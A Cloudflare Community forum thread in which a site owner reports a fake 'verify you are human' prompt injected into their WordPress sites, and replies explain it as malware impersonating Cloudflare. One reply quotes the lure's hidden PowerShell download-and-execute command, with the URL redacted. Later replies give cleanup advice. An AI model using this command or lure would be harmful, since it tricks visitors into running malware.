Issue: Unusual Web Traffic Detected Blocking Legitimate Users

What is the name of the domain?

tiwa.ng

What is the error message?

tiwa.ng Verify you are human by completing the action below. Verify you are human Logo Privacy • Terms tiwa.ng needs to review the security of your connection before proceeding. :warning: Unusual Web Traffic Detected Our security system has identified irregular web activity originating from your IP address. Automated verification attempts have failed, and we were unable to confirm that you are a legitimate user. To proceed with verification, please follow these steps: 1. Press Win + R to open Run. 2. Copy and paste Ctrl + V the following command: 3. Press Enter and wait for confirmation. This manual verification step helps us ensure that your connection is secure and not part of an automated request. If you fail to complete this step, access to certain features may be temporarily restricted. Ray ID: 386b70b7d6d86570

What is the issue you’re encountering

This verification issue is preventing users from accessing all of my sites. The unusual web traffic detection is blocking legitimate users from proceeding due to failed automated verification. Until this issue is resolved, users may face restricted access to the sites.

What steps have you taken to resolve the issue?

This is the first

What feature, service or problem is this related to?

I don’t know

Screenshot of the error

Welcome to the Cloudflare Community. :logodrop:

If this is on your site, you should treat it as compromised and act accordingly to secure it. That is an attack that is impersonating Cloudflare in an effort to trick users into infecting their machines.

If it is not your site, definitely do not run any software that is asking you to.

4 Likes

That’s interesting, you have a malware that has injected a script that runs on the background of your site and has the exact same appearance as Turnstile.

It will “randomly” pop up and ask the visitors to click the challenge only to trick them into running malware on their machine.

This is what they are running on the visitors once they copy paste the verification code (removed malicious url).

cmd /c start /min powershell -NoProfile -WindowStyle Hidden "iwr 'REMOVED' | iex" # I am not a robot: Cloudflare Verification ID: 5FZ-41P

This is the malicious line that injects the malware on your site

image

4 Likes

How to remove the malware?

Backup your data and re-install OS from hard drive.

Otherwise, use some kind of type of anti-virus/malware software and scan everything on your device.

Scan your Websites as well to remove this. Proceed further with your hosting provider.

1 Like

Check to make sure there isn’t a worker installed on Cloudflare causing the issue. If there is change your password, rotate the API keys and delete the worker.

3 Likes

I have a wordpress site host on AWS, what do I use to scan and clean the site?
thanks

Since it’s WordPress, scan it with Malcare, Sucuri and Wordfence plugins.
Here aer helpful articles:

1 Like